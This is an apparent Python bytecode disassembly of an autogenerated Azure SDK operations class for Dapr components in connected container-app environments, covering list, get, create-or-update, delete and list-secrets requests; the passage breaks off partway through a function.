LOAD_CONST 'headers' BUILD_MAP CALL_METHOD JUMP_IF_TRUE_OR_POP BUILD_MAP CALL_FUNCTION STORE_FAST _headers LOAD_GLOBAL case_insensitive_dict LOAD_FAST kwargs LOAD_METHOD pop LOAD_CONST 'params' BUILD_MAP CALL_METHOD JUMP_IF_TRUE_OR_POP BUILD_MAP CALL_FUNCTION STORE_FAST _params LOAD_FAST kwargs LOAD_METHOD pop LOAD_CONST 'api_version' LOAD_FAST _params LOAD_METHOD pop LOAD_CONST 'api-version' LOAD_CONST '2023-05-01' CALL_METHOD CALL_METHOD STORE_FAST api_version LOAD_FAST _headers LOAD_METHOD pop LOAD_CONST 'Accept' LOAD_CONST 'application/json' CALL_METHOD STORE_FAST accept LOAD_FAST kwargs LOAD_METHOD pop LOAD_CONST 'template_url' LOAD_CONST '/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.App/connectedEnvironments/{connectedEnvironmentName}/daprComponents' CALL_METHOD STORE_FAST _url LOAD_GLOBAL _SERIALIZER LOAD_ATTR url LOAD_CONST 'subscription_id' LOAD_FAST subscription_id LOAD_CONST 'str' LOAD_CONST 1 LOAD_CONST ('min_length',) CALL_FUNCTION LOAD_GLOBAL _SERIALIZER LOAD_ATTR url LOAD_CONST 'resource_group_name' LOAD_FAST resource_group_name LOAD_CONST 'str' LOAD_CONST 90 LOAD_CONST 1 LOAD_CONST ('max_length', 'min_length') CALL_FUNCTION LOAD_GLOBAL _SERIALIZER LOAD_METHOD url LOAD_CONST 'connected_environment_name' LOAD_FAST connected_environment_name LOAD_CONST 'str' CALL_METHOD LOAD_CONST ('subscriptionId', 'resourceGroupName', 'connectedEnvironmentName') BUILD_CONST_KEY_MAP STORE_FAST path_format_arguments LOAD_FAST _url LOAD_ATTR format BUILD_TUPLE LOAD_FAST path_format_arguments CALL_FUNCTION STORE_FAST _url LOAD_GLOBAL _SERIALIZER LOAD_METHOD query LOAD_CONST 'api_version' LOAD_FAST api_version LOAD_CONST 'str' CALL_METHOD LOAD_FAST _params LOAD_CONST 'api-version' STORE_SUBSCR LOAD_GLOBAL _SERIALIZER LOAD_METHOD header LOAD_CONST 'accept' LOAD_FAST accept LOAD_CONST 'str' CALL_METHOD LOAD_FAST _headers LOAD_CONST 'Accept' STORE_SUBSCR LOAD_GLOBAL HttpRequest BUILD_TUPLE LOAD_CONST 'GET' LOAD_FAST _url LOAD_FAST _params LOAD_FAST _headers LOAD_CONST ('method', 'url', 'params', 'headers') BUILD_CONST_KEY_MAP LOAD_FAST kwargs BUILD_MAP CALL_FUNCTION RETURN_VALUE LOAD_GLOBAL case_insensitive_dict LOAD_FAST kwargs LOAD_METHOD pop LOAD_CONST 'headers' BUILD_MAP CALL_METHOD JUMP_IF_TRUE_OR_POP BUILD_MAP CALL_FUNCTION STORE_FAST _headers LOAD_GLOBAL case_insensitive_dict LOAD_FAST kwargs LOAD_METHOD pop LOAD_CONST 'params' BUILD_MAP CALL_METHOD JUMP_IF_TRUE_OR_POP BUILD_MAP CALL_FUNCTION STORE_FAST _params LOAD_FAST kwargs LOAD_METHOD pop LOAD_CONST 'api_version' LOAD_FAST _params LOAD_METHOD pop LOAD_CONST 'api-version' LOAD_CONST '2023-05-01' CALL_METHOD CALL_METHOD STORE_FAST api_version LOAD_FAST _headers LOAD_METHOD pop LOAD_CONST 'Accept' LOAD_CONST 'application/json' CALL_METHOD STORE_FAST accept LOAD_FAST kwargs LOAD_METHOD pop LOAD_CONST 'template_url' LOAD_CONST '/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.App/connectedEnvironments/{connectedEnvironmentName}/daprComponents/{componentName}' CALL_METHOD STORE_FAST _url LOAD_GLOBAL _SERIALIZER LOAD_ATTR url LOAD_CONST 'subscription_id' LOAD_FAST subscription_id LOAD_CONST 'str' LOAD_CONST 1 LOAD_CONST ('min_length',) CALL_FUNCTION LOAD_GLOBAL _SERIALIZER LOAD_ATTR url LOAD_CONST 'resource_group_name' LOAD_FAST resource_group_name LOAD_CONST 'str' LOAD_CONST 90 LOAD_CONST 1 LOAD_CONST ('max_length', 'min_length') CALL_FUNCTION LOAD_GLOBAL _SERIALIZER LOAD_METHOD url LOAD_CONST 'connected_environment_name' LOAD_FAST connected_environment_name LOAD_CONST 'str' CALL_METHOD LOAD_GLOBAL _SERIALIZER LOAD_METHOD url LOAD_CONST 'component_name' LOAD_FAST component_name LOAD_CONST 'str' CALL_METHOD LOAD_CONST ('subscriptionId', 'resourceGroupName', 'connectedEnvironmentName', 'componentName') BUILD_CONST_KEY_MAP STORE_FAST path_format_arguments LOAD_FAST _url LOAD_ATTR format BUILD_TUPLE LOAD_FAST path_format_arguments CALL_FUNCTION STORE_FAST _url LOAD_GLOBAL _SERIALIZER LOAD_METHOD query LOAD_CONST 'api_version' LOAD_FAST api_version LOAD_CONST 'str' CALL_METHOD LOAD_FAST _params LOAD_CONST 'api-version' STORE_SUBSCR LOAD_GLOBAL _SERIALIZER LOAD_METHOD header LOAD_CONST 'accept' LOAD_FAST accept LOAD_CONST 'str' CALL_METHOD LOAD_FAST _headers LOAD_CONST 'Accept' STORE_SUBSCR LOAD_GLOBAL HttpRequest BUILD_TUPLE LOAD_CONST 'GET' LOAD_FAST _url LOAD_FAST _params LOAD_FAST _headers LOAD_CONST ('method', 'url', 'params', 'headers') BUILD_CONST_KEY_MAP LOAD_FAST kwargs BUILD_MAP CALL_FUNCTION RETURN_VALUE LOAD_GLOBAL case_insensitive_dict LOAD_FAST kwargs LOAD_METHOD pop LOAD_CONST 'headers' BUILD_MAP CALL_METHOD JUMP_IF_TRUE_OR_POP BUILD_MAP CALL_FUNCTION STORE_FAST _headers LOAD_GLOBAL case_insensitive_dict LOAD_FAST kwargs LOAD_METHOD pop LOAD_CONST 'params' BUILD_MAP CALL_METHOD JUMP_IF_TRUE_OR_POP BUILD_MAP CALL_FUNCTION STORE_FAST _params LOAD_FAST kwargs LOAD_METHOD pop LOAD_CONST 'api_version' LOAD_FAST _params LOAD_METHOD pop LOAD_CONST 'api-version' LOAD_CONST '2023-05-01' CALL_METHOD CALL_METHOD STORE_FAST api_version LOAD_FAST kwargs LOAD_METHOD pop LOAD_CONST 'content_type' LOAD_FAST _headers LOAD_METHOD pop LOAD_CONST 'Content-Type' LOAD_CONST None CALL_METHOD CALL_METHOD STORE_FAST content_type LOAD_FAST _headers LOAD_METHOD pop LOAD_CONST 'Accept' LOAD_CONST 'application/json' CALL_METHOD STORE_FAST accept LOAD_FAST kwargs LOAD_METHOD pop LOAD_CONST 'template_url' LOAD_CONST '/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.App/connectedEnvironments/{connectedEnvironmentName}/daprComponents/{componentName}' CALL_METHOD STORE_FAST _url LOAD_GLOBAL _SERIALIZER LOAD_ATTR url LOAD_CONST 'subscription_id' LOAD_FAST subscription_id LOAD_CONST 'str' LOAD_CONST 1 LOAD_CONST ('min_length',) CALL_FUNCTION LOAD_GLOBAL _SERIALIZER LOAD_ATTR url LOAD_CONST 'resource_group_name' LOAD_FAST resource_group_name LOAD_CONST 'str' LOAD_CONST 90 LOAD_CONST 1 LOAD_CONST ('max_length', 'min_length') CALL_FUNCTION LOAD_GLOBAL _SERIALIZER LOAD_METHOD url LOAD_CONST 'connected_environment_name' LOAD_FAST connected_environment_name LOAD_CONST 'str' CALL_METHOD LOAD_GLOBAL _SERIALIZER LOAD_METHOD url LOAD_CONST 'component_name' LOAD_FAST component_name LOAD_CONST 'str' CALL_METHOD LOAD_CONST ('subscriptionId', 'resourceGroupName', 'connectedEnvironmentName', 'componentName') BUILD_CONST_KEY_MAP STORE_FAST path_format_arguments LOAD_FAST _url LOAD_ATTR format BUILD_TUPLE LOAD_FAST path_format_arguments CALL_FUNCTION STORE_FAST _url LOAD_GLOBAL _SERIALIZER LOAD_METHOD query LOAD_CONST 'api_version' LOAD_FAST api_version LOAD_CONST 'str' CALL_METHOD LOAD_FAST _params LOAD_CONST 'api-version' STORE_SUBSCR LOAD_FAST content_type LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_FALSE LOAD_GLOBAL _SERIALIZER LOAD_METHOD header LOAD_CONST 'content_type' LOAD_FAST content_type LOAD_CONST 'str' CALL_METHOD LOAD_FAST _headers LOAD_CONST 'Content-Type' STORE_SUBSCR LOAD_GLOBAL _SERIALIZER LOAD_METHOD header LOAD_CONST 'accept' LOAD_FAST accept LOAD_CONST 'str' CALL_METHOD LOAD_FAST _headers LOAD_CONST 'Accept' STORE_SUBSCR LOAD_GLOBAL HttpRequest BUILD_TUPLE LOAD_CONST 'PUT' LOAD_FAST _url LOAD_FAST _params LOAD_FAST _headers LOAD_CONST ('method', 'url', 'params', 'headers') BUILD_CONST_KEY_MAP LOAD_FAST kwargs BUILD_MAP CALL_FUNCTION RETURN_VALUE LOAD_GLOBAL case_insensitive_dict LOAD_FAST kwargs LOAD_METHOD pop LOAD_CONST 'headers' BUILD_MAP CALL_METHOD JUMP_IF_TRUE_OR_POP BUILD_MAP CALL_FUNCTION STORE_FAST _headers LOAD_GLOBAL case_insensitive_dict LOAD_FAST kwargs LOAD_METHOD pop LOAD_CONST 'params' BUILD_MAP CALL_METHOD JUMP_IF_TRUE_OR_POP BUILD_MAP CALL_FUNCTION STORE_FAST _params LOAD_FAST kwargs LOAD_METHOD pop LOAD_CONST 'api_version' LOAD_FAST _params LOAD_METHOD pop LOAD_CONST 'api-version' LOAD_CONST '2023-05-01' CALL_METHOD CALL_METHOD STORE_FAST api_version LOAD_FAST _headers LOAD_METHOD pop LOAD_CONST 'Accept' LOAD_CONST 'application/json' CALL_METHOD STORE_FAST accept LOAD_FAST kwargs LOAD_METHOD pop LOAD_CONST 'template_url' LOAD_CONST '/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.App/connectedEnvironments/{connectedEnvironmentName}/daprComponents/{componentName}' CALL_METHOD STORE_FAST _url LOAD_GLOBAL _SERIALIZER LOAD_ATTR url LOAD_CONST 'subscription_id' LOAD_FAST subscription_id LOAD_CONST 'str' LOAD_CONST 1 LOAD_CONST ('min_length',) CALL_FUNCTION LOAD_GLOBAL _SERIALIZER LOAD_ATTR url LOAD_CONST 'resource_group_name' LOAD_FAST resource_group_name LOAD_CONST 'str' LOAD_CONST 90 LOAD_CONST 1 LOAD_CONST ('max_length', 'min_length') CALL_FUNCTION LOAD_GLOBAL _SERIALIZER LOAD_METHOD url LOAD_CONST 'connected_environment_name' LOAD_FAST connected_environment_name LOAD_CONST 'str' CALL_METHOD LOAD_GLOBAL _SERIALIZER LOAD_METHOD url LOAD_CONST 'component_name' LOAD_FAST component_name LOAD_CONST 'str' CALL_METHOD LOAD_CONST ('subscriptionId', 'resourceGroupName', 'connectedEnvironmentName', 'componentName') BUILD_CONST_KEY_MAP STORE_FAST path_format_arguments LOAD_FAST _url LOAD_ATTR format BUILD_TUPLE LOAD_FAST path_format_arguments CALL_FUNCTION STORE_FAST _url LOAD_GLOBAL _SERIALIZER LOAD_METHOD query LOAD_CONST 'api_version' LOAD_FAST api_version LOAD_CONST 'str' CALL_METHOD LOAD_FAST _params LOAD_CONST 'api-version' STORE_SUBSCR LOAD_GLOBAL _SERIALIZER LOAD_METHOD header LOAD_CONST 'accept' LOAD_FAST accept LOAD_CONST 'str' CALL_METHOD LOAD_FAST _headers LOAD_CONST 'Accept' STORE_SUBSCR LOAD_GLOBAL HttpRequest BUILD_TUPLE LOAD_CONST 'DELETE' LOAD_FAST _url LOAD_FAST _params LOAD_FAST _headers LOAD_CONST ('method', 'url', 'params', 'headers') BUILD_CONST_KEY_MAP LOAD_FAST kwargs BUILD_MAP CALL_FUNCTION RETURN_VALUE LOAD_GLOBAL case_insensitive_dict LOAD_FAST kwargs LOAD_METHOD pop LOAD_CONST 'headers' BUILD_MAP CALL_METHOD JUMP_IF_TRUE_OR_POP BUILD_MAP CALL_FUNCTION STORE_FAST _headers LOAD_GLOBAL case_insensitive_dict LOAD_FAST kwargs LOAD_METHOD pop LOAD_CONST 'params' BUILD_MAP CALL_METHOD JUMP_IF_TRUE_OR_POP BUILD_MAP CALL_FUNCTION STORE_FAST _params LOAD_FAST kwargs LOAD_METHOD pop LOAD_CONST 'api_version' LOAD_FAST _params LOAD_METHOD pop LOAD_CONST 'api-version' LOAD_CONST '2023-05-01' CALL_METHOD CALL_METHOD STORE_FAST api_version LOAD_FAST _headers LOAD_METHOD pop LOAD_CONST 'Accept' LOAD_CONST 'application/json' CALL_METHOD STORE_FAST accept LOAD_FAST kwargs LOAD_METHOD pop LOAD_CONST 'template_url' LOAD_CONST '/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.App/connectedEnvironments/{connectedEnvironmentName}/daprComponents/{componentName}/listSecrets' CALL_METHOD STORE_FAST _url LOAD_GLOBAL _SERIALIZER LOAD_ATTR url LOAD_CONST 'subscription_id' LOAD_FAST subscription_id LOAD_CONST 'str' LOAD_CONST 1 LOAD_CONST ('min_length',) CALL_FUNCTION LOAD_GLOBAL _SERIALIZER LOAD_ATTR url LOAD_CONST 'resource_group_name' LOAD_FAST resource_group_name LOAD_CONST 'str' LOAD_CONST 90 LOAD_CONST 1 LOAD_CONST ('max_length', 'min_length') CALL_FUNCTION LOAD_GLOBAL _SERIALIZER LOAD_METHOD url LOAD_CONST 'connected_environment_name' LOAD_FAST connected_environment_name LOAD_CONST 'str' CALL_METHOD LOAD_GLOBAL _SERIALIZER LOAD_METHOD url LOAD_CONST 'component_name' LOAD_FAST component_name LOAD_CONST 'str' CALL_METHOD LOAD_CONST ('subscriptionId', 'resourceGroupName', 'connectedEnvironmentName', 'componentName') BUILD_CONST_KEY_MAP STORE_FAST path_format_arguments LOAD_FAST _url LOAD_ATTR format BUILD_TUPLE LOAD_FAST path_format_arguments CALL_FUNCTION STORE_FAST _url LOAD_GLOBAL _SERIALIZER LOAD_METHOD query LOAD_CONST 'api_version' LOAD_FAST api_version LOAD_CONST 'str' CALL_METHOD LOAD_FAST _params LOAD_CONST 'api-version' STORE_SUBSCR LOAD_GLOBAL _SERIALIZER LOAD_METHOD header LOAD_CONST 'accept' LOAD_FAST accept LOAD_CONST 'str' CALL_METHOD LOAD_FAST _headers LOAD_CONST 'Accept' STORE_SUBSCR LOAD_GLOBAL HttpRequest BUILD_TUPLE LOAD_CONST 'POST' LOAD_FAST _url LOAD_FAST _params LOAD_FAST _headers LOAD_CONST ('method', 'url', 'params', 'headers') BUILD_CONST_KEY_MAP LOAD_FAST kwargs BUILD_MAP CALL_FUNCTION RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST 'ConnectedEnvironmentsDaprComponentsOperations' STORE_NAME __qualname__ LOAD_CONST "\n .. warning::\n **DO NOT** instantiate this class directly.\n\n Instead, you should access the following operations through\n :class:`~azure.mgmt.appcontainers.ContainerAppsAPIClient`'s\n :attr:`connected_environments_dapr_components` attribute.\n " STORE_NAME __doc__ LOAD_NAME _models STORE_NAME models LOAD_CONST <code object __init__ at 0x7fab42122c00, file "f.py", line 286> LOAD_CONST 'ConnectedEnvironmentsDaprComponentsOperations.__init__' MAKE_FUNCTION STORE_NAME __init__ LOAD_NAME distributed_trace LOAD_NAME str LOAD_NAME str LOAD_NAME Any LOAD_NAME Iterable LOAD_CONST '_models.DaprComponent' BINARY_SUBSCR LOAD_CONST ('resource_group_name', 'connected_environment_name', 'kwargs', 'return') BUILD_CONST_KEY_MAP LOAD_CONST <code object list at 0x7fab425c39c0, file "f.py", line 295> LOAD_CONST 'ConnectedEnvironmentsDaprComponentsOperations.list' MAKE_FUNCTION CALL_FUNCTION STORE_NAME list LOAD_CONST 'url' LOAD_CONST '/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.App/connectedEnvironments/{connectedEnvironmentName}/daprComponents' BUILD_MAP LOAD_NAME list STORE_ATTR metadata LOAD_NAME distributed_trace LOAD_NAME str LOAD_NAME str LOAD_NAME str LOAD_NAME Any LOAD_NAME _models LOAD_ATTR DaprComponent LOAD_CONST ('resource_group_name', 'connected_environment_name', 'component_name', 'kwargs', 'return') BUILD_CONST_KEY_MAP LOAD_CONST <code object get at 0x7fab425c3390, file "f.py", line 405> LOAD_CONST 'ConnectedEnvironmentsDaprComponentsOperations.get' MAKE_FUNCTION CALL_FUNCTION STORE_NAME get LOAD_CONST 'url' LOAD_CONST '/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.App/connectedEnvironments/{connectedEnvironmentName}/daprComponents/{componentName}' BUILD_MAP LOAD_NAME get STORE_ATTR metadata LOAD_NAME overload LOAD_CONST 'application/json' LOAD_CONST ('content_type',) BUILD_CONST_KEY_MAP LOAD_NAME str LOAD_NAME str LOAD_NAME str LOAD_NAME _models LOAD_ATTR DaprComponent LOAD_NAME str LOAD_NAME Any LOAD_NAME _models LOAD_ATTR DaprComponent LOAD_CONST ('resource_group_name', 'connected_environment_name', 'component_name', 'dapr_component_envelope', 'content_type', 'kwargs', 'return') BUILD_CONST_KEY_MAP LOAD_CONST <code object create_or_update at 0x7fab425c3c90, file "f.py", line 489> LOAD_CONST 'ConnectedEnvironmentsDaprComponentsOperations.create_or_update' MAKE_FUNCTION CALL_FUNCTION STORE_NAME create_or_update LOAD_NAME overload LOAD_CONST 'application/json' LOAD_CONST ('content_type',) BUILD_CONST_KEY_MAP LOAD_NAME str LOAD_NAME str LOAD_NAME str LOAD_NAME IO LOAD_NAME str LOAD_NAME Any LOAD_NAME _models LOAD_ATTR DaprComponent LOAD_CONST ('resource_group_name', 'connected_environment_name', 'component_name', 'dapr_component_envelope', 'content_type', 'kwargs', 'return') BUILD_CONST_KEY_MAP LOAD_CONST <code object create_or_update at 0x7fab425c3270, file "f.py", line 522> LOAD_CONST 'ConnectedEnvironmentsDaprComponentsOperations.create_or_update' MAKE_FUNCTION CALL_FUNCTION STORE_NAME create_or_update LOAD_NAME distributed_trace LOAD_NAME str LOAD_NAME str LOAD_NAME str LOAD_NAME Union LOAD_NAME _models LOAD_ATTR DaprComponent LOAD_NAME IO BUILD_TUPLE BINARY_SUBSCR LOAD_NAME Any LOAD_NAME _models LOAD_ATTR DaprComponent LOAD_CONST ('resource_group_name', 'connected_environment_name', 'component_name', 'dapr_component_envelope', 'kwargs', 'return') BUILD_CONST_KEY_MAP LOAD_CONST <code object create_or_update at 0x7fab425c3420, file "f.py", line 555> LOAD_CONST 'ConnectedEnvironmentsDaprComponentsOperations.create_or_update' MAKE_FUNCTION CALL_FUNCTION STORE_NAME create_or_update LOAD_CONST 'url' LOAD_CONST '/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.App/connectedEnvironments/{connectedEnvironmentName}/daprComponents/{componentName}' BUILD_MAP LOAD_NAME create_or_update STORE_ATTR metadata LOAD_NAME distributed_trace LOAD_NAME str LOAD_NAME str LOAD_NAME str LOAD_NAME Any LOAD_CONST None LOAD_CONST ('resource_group_name', 'connected_environment_name', 'component_name', 'kwargs', 'return') BUILD_CONST_KEY_MAP LOAD_CONST <code object delete at 0x7fab425c3810, file "f.py", line 660> LOAD_CONST 'ConnectedEnvironmentsDaprComponentsOperations.delete' MAKE_FUNCTION CALL_FUNCTION STORE_NAME delete LOAD_CONST 'url' LOAD_CONST '/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.App/connectedEnvironments/{connectedEnvironmentName}/daprComponents/{componentName}' BUILD_MAP LOAD_NAME delete STORE_ATTR metadata LOAD_NAME distributed_trace LOAD_NAME str LOAD_NAME str LOAD_NAME str LOAD_NAME Any LOAD_NAME _models LOAD_ATTR DaprSecretsCollection LOAD_CONST ('resource_group_name', 'connected_environment_name', 'component_name', 'kwargs', 'return') BUILD_CONST_KEY_MAP LOAD_CONST <code object list_secrets at 0x7fab7016f0c0, file "f.py", line 740> LOAD_CONST 'ConnectedEnvironmentsDaprComponentsOperations.list_secrets' MAKE_FUNCTION CALL_FUNCTION STORE_NAME list_secrets LOAD_CONST 'url' LOAD_CONST '/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.App/connectedEnvironments/{connectedEnvironmentName}/daprComponents/{componentName}/listSecrets' BUILD_MAP LOAD_NAME list_secrets STORE_ATTR metadata LOAD_CONST None RETURN_VALUE LOAD_GLOBAL list LOAD_FAST args CALL_FUNCTION STORE_FAST input_args LOAD_FAST input_args POP_JUMP_IF_FALSE LOAD_FAST input_args LOAD_METHOD pop LOAD_CONST 0 CALL_METHOD JUMP_FORWARD to 30 LOAD_FAST kwargs LOAD_METHOD pop LOAD_CONST 'client' CALL_METHOD LOAD_FAST self STORE_ATTR _client LOAD_FAST input_args POP_JUMP_IF_FALSE LOAD_FAST input_args LOAD_METHOD pop LOAD_CONST 0 CALL_METHOD JUMP_FORWARD to 56 LOAD_FAST kwargs LOAD_METHOD pop LOAD_CONST 'config' CALL_METHOD LOAD_FAST self STORE_ATTR _config LOAD_FAST input_args POP_JUMP_IF_FALSE LOAD_FAST input_args LOAD_METHOD pop LOAD_CONST 0 CALL_METHOD JUMP_FORWARD to 82 LOAD_FAST kwargs LOAD_METHOD pop LOAD_CONST 'serializer' CALL_METHOD LOAD_FAST self STORE_ATTR _serialize LOAD_FAST input_args POP_JUMP_IF_FALSE LOAD_FAST input_args LOAD_METHOD pop LOAD_CONST 0 CALL_METHOD JUMP_FORWARD to 108 LOAD_FAST kwargs LOAD_METHOD pop LOAD_CONST 'deserializer' CALL_METHOD LOAD_FAST self STORE_ATTR _deserialize LOAD_CONST None RETURN_VALUE LOAD_DEREF kwargs LOAD_METHOD pop LOAD_CONST 'headers' BUILD_MAP CALL_METHOD JUMP_IF_TRUE_OR_POP BUILD_MAP STORE_DEREF _headers LOAD_GLOBAL case_insensitive_dict LOAD_DEREF kwargs LOAD_METHOD pop LOAD_CONST 'params' BUILD_MAP CALL_METHOD JUMP_IF_TRUE_OR_POP BUILD_MAP CALL_FUNCTION STORE_DEREF _params LOAD_DEREF kwargs LOAD_METHOD pop LOAD_CONST 'api_version' LOAD_DEREF _params LOAD_METHOD pop LOAD_CONST 'api-version' LOAD_DEREF self LOAD_ATTR _config LOAD_ATTR api_version CALL_METHOD CALL_METHOD STORE_DEREF api_version LOAD_DEREF kwargs LOAD_METHOD pop LOAD_CONST 'cls' LOAD_CONST None CALL_METHOD STORE_DEREF cls LOAD_GLOBAL ClientAuthenticationError LOAD_GLOBAL ResourceNotFoundError LOAD_GLOBAL ResourceExistsError LOAD_GLOBAL ResourceNotModifiedError LOAD_CONST (401, 404, 409, 304) BUILD_CONST_KEY_MAP STORE_DEREF error_map LOAD_DEREF error_map LOAD_METHOD update LOAD_DEREF kwargs LOAD_METHOD pop LOAD_CONST 'error_map' BUILD_MAP CALL_METHOD JUMP_IF_TRUE_OR_POP BUILD_MAP CALL_METHOD POP_TOP LOAD_CONST (None,) LOAD_CLOSURE _headers LOAD_CLOSURE _params LOAD_CLOSURE api_version LOAD_CLOSURE connected_environment_name LOAD_CLOSURE resource_group_name LOAD_CLOSURE self BUILD_TUPLE LOAD_CONST <code object prepare_request at 0x7fab425c30c0, file "f.py", line 329> LOAD_CONST 'ConnectedEnvironmentsDaprComponentsOperations.list.<locals>.prepare_request' MAKE_FUNCTION STORE_DEREF prepare_request LOAD_CLOSURE cls LOAD_CLOSURE self BUILD_TUPLE LOAD_CONST <code object extract_data at 0x7fab425c3c00, file "f.py", line 364> LOAD_CONST 'ConnectedEnvironmentsDaprComponentsOperations.list.<locals>.extract_data' MAKE_FUNCTION STORE_FAST extract_data LOAD_CONST (None,) LOAD_CLOSURE error_map LOAD_CLOSURE kwargs LOAD_CLOSURE prepare_request LOAD_CLOSURE self BUILD_TUPLE LOAD_CONST <code object get_next at 0x7fab425c3d20, file "f.py", line 373> LOAD_CONST 'ConnectedEnvironmentsDaprComponentsOperations.list.<locals>.get_next' MAKE_FUNCTION STORE_FAST get_next LOAD_GLOBAL ItemPaged LOAD_FAST get_next LOAD_FAST extract_data CALL_FUNCTION RETURN_VALUE LOAD_FAST next_link POP_JUMP_IF_TRUE LOAD_GLOBAL build_list_request LOAD_DEREF resource_group_name LOAD_DEREF connected_environment_name LOAD_DEREF self LOAD_ATTR _config LOAD_ATTR subscription_id LOAD_DEREF api_version LOAD_DEREF self LOAD_ATTR list LOAD_ATTR metadata LOAD_CONST 'url' BINARY_SUBSCR LOAD_DEREF _headers LOAD_DEREF _params LOAD_CONST ('resource_group_name', 'connected_environment_name', 'subscription_id', 'api_version', 'template_url', 'headers', 'params') CALL_FUNCTION STORE_FAST request LOAD_GLOBAL _convert_request LOAD_FAST request CALL_FUNCTION STORE_FAST request LOAD_DEREF self LOAD_ATTR _client LOAD_METHOD format_url LOAD_FAST request LOAD_ATTR url CALL_METHOD LOAD_FAST request STORE_ATTR url JUMP_FORWARD to 176 LOAD_GLOBAL urllib LOAD_ATTR parse LOAD_METHOD urlparse LOAD_FAST next_link CALL_METHOD STORE_FAST _parsed_next_link LOAD_GLOBAL case_insensitive_dict LOAD_CONST <code object <dictcomp> at 0x7fab425c36f0, file "f.py", line 346> LOAD_CONST 'ConnectedEnvironmentsDaprComponentsOperations.list.<locals>.prepare_request.<locals>.<dictcomp>' MAKE_FUNCTION LOAD_GLOBAL urllib LOAD_ATTR parse LOAD_METHOD parse_qs LOAD_FAST _parsed_next_link LOAD_ATTR query CALL_METHOD LOAD_METHOD items CALL_METHOD GET_ITER CALL_FUNCTION CALL_FUNCTION STORE_FAST _next_request_params LOAD_DEREF self LOAD_ATTR _config LOAD_ATTR api_version LOAD_FAST _next_request_params LOAD_CONST 'api-version' STORE_SUBSCR LOAD_GLOBAL HttpRequest LOAD_CONST 'GET' LOAD_GLOBAL urllib LOAD_ATTR parse LOAD_METHOD urljoin LOAD_FAST next_link LOAD_FAST _parsed_next_link LOAD_ATTR path CALL_METHOD LOAD_FAST _next_request_params LOAD_CONST ('params',) CALL_FUNCTION STORE_FAST request LOAD_GLOBAL _convert_request LOAD_FAST request CALL_FUNCTION STORE_FAST request LOAD_DEREF self LOAD_ATTR _client LOAD_METHOD format_url LOAD_FAST request LOAD_ATTR url CALL_METHOD LOAD_FAST request STORE_ATTR url LOAD_CONST 'GET' LOAD_FAST request STORE_ATTR method LOAD_FAST request RETURN_VALUE BUILD_MAP LOAD_FAST .0 FOR_ITER to 30 UNPACK_SEQUENCE STORE_FAST key STORE_FAST value LOAD_CONST <code object <listcomp> at 0x7fab425c3e40, file "f.py", line 347> LOAD_CONST 'ConnectedEnvironmentsDaprComponentsOperations.list.<locals>.prepare_request.<locals>.<dictcomp>.<listcomp>' MAKE_FUNCTION LOAD_FAST value GET_ITER CALL_FUNCTION LOAD_FAST key MAP_ADD JUMP_ABSOLUTE RETURN_VALUE BUILD_LIST LOAD_FAST .0 FOR_ITER to 22 STORE_FAST v LOAD_GLOBAL urllib LOAD_ATTR parse LOAD_METHOD quote LOAD_FAST v CALL_METHOD LIST_APPEND JUMP_ABSOLUTE RETURN_VALUE LOAD_DEREF self LOAD_METHOD _deserialize LOAD_CONST 'DaprComponentsCollection' LOAD_FAST pipeline_response CALL_METHOD STORE_FAST deserialized LOAD_FAST deserialized LOAD_ATTR value STORE_FAST list_of_elem LOAD_DEREF cls POP_JUMP_IF_FALSE LOAD_DEREF cls LOAD_FAST list_of_elem CALL_FUNCTION STORE_FAST list_of_elem LOAD_FAST deserialized LOAD_ATTR next_link JUMP_IF_TRUE_OR_POP LOAD_CONST None LOAD_GLOBAL iter LOAD_FAST list_of_elem CALL_FUNCTION BUILD_TUPLE RETURN_VALUE LOAD_DEREF prepare_request LOAD_FAST next_link CALL_FUNCTION STORE_FAST request LOAD_CONST False STORE_FAST _stream LOAD_DEREF self LOAD_ATTR _client LOAD_ATTR _pipeline LOAD_ATTR run LOAD_FAST request BUILD_TUPLE LOAD_CONST 'stream' LOAD_FAST _stream BUILD_MAP LOAD_DEREF kwargs BUILD_MAP CALL_FUNCTION STORE_FAST pipeline_response LOAD_FAST pipeline_response LOAD_ATTR http_response STORE_FAST response LOAD_FAST response LOAD_ATTR status_code LOAD_CONST (200,) COMPARE_OP not in POP_JUMP_IF_FALSE LOAD_GLOBAL map_error LOAD_FAST response LOAD_ATTR status_code LOAD_FAST response LOAD_DEREF error_map LOAD_CONST ('status_code', 'response', 'error_map') CALL_FUNCTION POP_TOP LOAD_DEREF self LOAD_ATTR _deserialize LOAD_METHOD failsafe_deserialize LOAD_GLOBAL _models LOAD_ATTR DefaultErrorResponse LOAD_FAST pipeline_response CALL_METHOD STORE_FAST error LOAD_GLOBAL HttpResponseError LOAD_FAST response LOAD_FAST error LOAD_GLOBAL ARMErrorFormat LOAD_CONST ('response', 'model', 'error_format') CALL_FUNCTION RAISE_VARARGS LOAD_FAST pipeline_response RETURN_VALUE LOAD_GLOBAL ClientAuthenticationError LOAD_GLOBAL ResourceNotFoundError LOAD_GLOBAL ResourceExistsError LOAD_GLOBAL ResourceNotModifiedError LOAD_CONST (401, 404, 409, 304) BUILD_CONST_KEY_MAP STORE_FAST error_map LOAD_FAST error_map LOAD_METHOD update LOAD_FAST kwargs LOAD_METHOD pop LOAD_CONST 'error_map' BUILD_MAP CALL_METHOD JUMP_IF_TRUE_OR_POP BUILD_MAP CALL_METHOD POP_TOP LOAD_FAST kwargs LOAD_METHOD pop LOAD_CONST 'headers' BUILD_MAP CALL_METHOD JUMP_IF_TRUE_OR_POP BUILD_MAP STORE_FAST _headers LOAD_GLOBAL case_insensitive_dict LOAD_FAST kwargs LOAD_METHOD pop LOAD_CONST 'params' BUILD_MAP CALL_METHOD 